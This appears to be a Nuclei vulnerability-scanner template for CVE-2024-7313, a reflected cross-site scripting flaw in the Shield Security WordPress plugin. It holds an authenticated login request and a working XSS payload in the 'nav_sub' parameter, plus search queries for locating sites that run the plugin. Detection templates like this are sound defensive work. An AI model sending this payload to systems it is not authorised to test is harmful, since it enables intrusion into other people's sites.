id: CVE-2024-7313

info:
  name: Shield Security Plugin < 20.0.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Shield Security WordPress plugin before 20.0.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the 'nav_sub' parameter in the admin dashboard, allowing authenticated users to execute arbitrary JavaScript in the context of other authenticated administrators.
  impact: |
    Authenticated users can inject malicious JavaScript through the nav_sub parameter that executes in the context of other administrators' sessions, potentially leading to privilege escalation, data theft, or unauthorized administrative actions.
  remediation: |
    Update the Shield Security plugin to version 20.0.6 or later.
  reference:
    - https://wpscan.com/vulnerability/83a1bdc6-098e-43d5-89e5-f4202ecd78a1/
    - https://research.cleantalk.org/CVE-2024-7313/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7313
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-7313
    cwe-id: CWE-79
    epss-score: 0.01444
    epss-percentile: 0.70654
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="wp-content/plugins/wp-simple-firewall/"
    google-query: inurl:"/wp-content/plugins/wp-simple-firewall/"
    shodan-query: 'wp-content/plugins/wp-simple-firewall/'
  tags: cve,cve2024,wp,wordpress,xss,wp-plugin,authenticated,wp-simple-firewall,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"
          - "Unavailable nav handling:"
        condition: and

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cbf164d02f99e863f86397ce4c97a6ae485200e9ada8c40ab39ef83a49ae110d022067367534d66e3fedfe52b929105b6730abf700e2762a546165f87dd21728d7b6:922c64590222798bb761d5b6d8e72950